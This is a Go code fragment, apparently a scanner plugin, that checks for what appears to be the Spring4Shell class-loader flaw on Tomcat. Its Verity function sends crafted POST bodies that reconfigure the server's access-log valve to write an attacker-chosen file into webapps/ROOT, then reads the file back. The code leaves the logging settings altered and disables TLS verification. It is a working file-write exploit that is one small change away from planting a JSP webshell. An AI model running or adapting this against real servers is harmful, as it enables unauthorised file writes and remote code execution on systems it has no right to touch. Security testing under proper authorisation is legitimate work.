1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
|
// post: HTTP POST
func post(url string, header map[string]string, data string) (int, int, string) {
client := &http.Client{
Timeout: time.Second * 10,
Transport: &http.Transport{
TLSClientConfig: &tls.Config{InsecureSkipVerify: true},
},
}
req, err := http.NewRequest("POST", url, strings.NewReader(data))
if err != nil {
return 0, 0, ""
}
for key, value := range header {
req.Header.Set(key, value)
}
resp, err := client.Do(req)
if err != nil {
return 0, 0, ""
}
defer resp.Body.Close()
body, err := ioutil.ReadAll(resp.Body)
if err != nil {
return 0, 0, ""
}
return 1, resp.StatusCode, string(body)
}
// 漏洞验证
func Verity() bool {
if Url == "" {
return false
}
body1 := "class.module.classLoader.resources.context.parent.pipeline.first.pattern=poc&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=PocName&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.txt&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT/&class.module.classLoader.resources.context.parent.pipeline.first.prefix="
body2 := "class.module.classLoader.resources.context.parent.pipeline.first.pattern=&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=.yyyy-MM-dd&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.txt&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/logs&class.module.classLoader.resources.context.parent.pipeline.first.prefix="
headers := map[string]string{
"prefix": "<%!",
"abc": "<%",
"suffix": "%>",
"Content-Type": "application/x-www-form-urlencoded",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36",
"Accept": "*/*",
}
// 生成 随机数
rand := time.Now().UnixNano()
body1 = strings.ReplaceAll(body1, "PocName", fmt.Sprintf("%d", rand))
code, statusCode, _ := post(Url, headers, body1)
post(Url, headers, body2)
if code == 1 && statusCode == 200 {
time.Sleep(time.Second * 10)
r, err := http.Get(Url + "/" + fmt.Sprintf("%d", rand) + ".txt")
if err != nil {
return false
}
defer r.Body.Close()
returnBody, _ := ioutil.ReadAll(r.Body)
if strings.Contains(string(returnBody), "poc") {
return true
}
return false
} else {
return false
}
}
|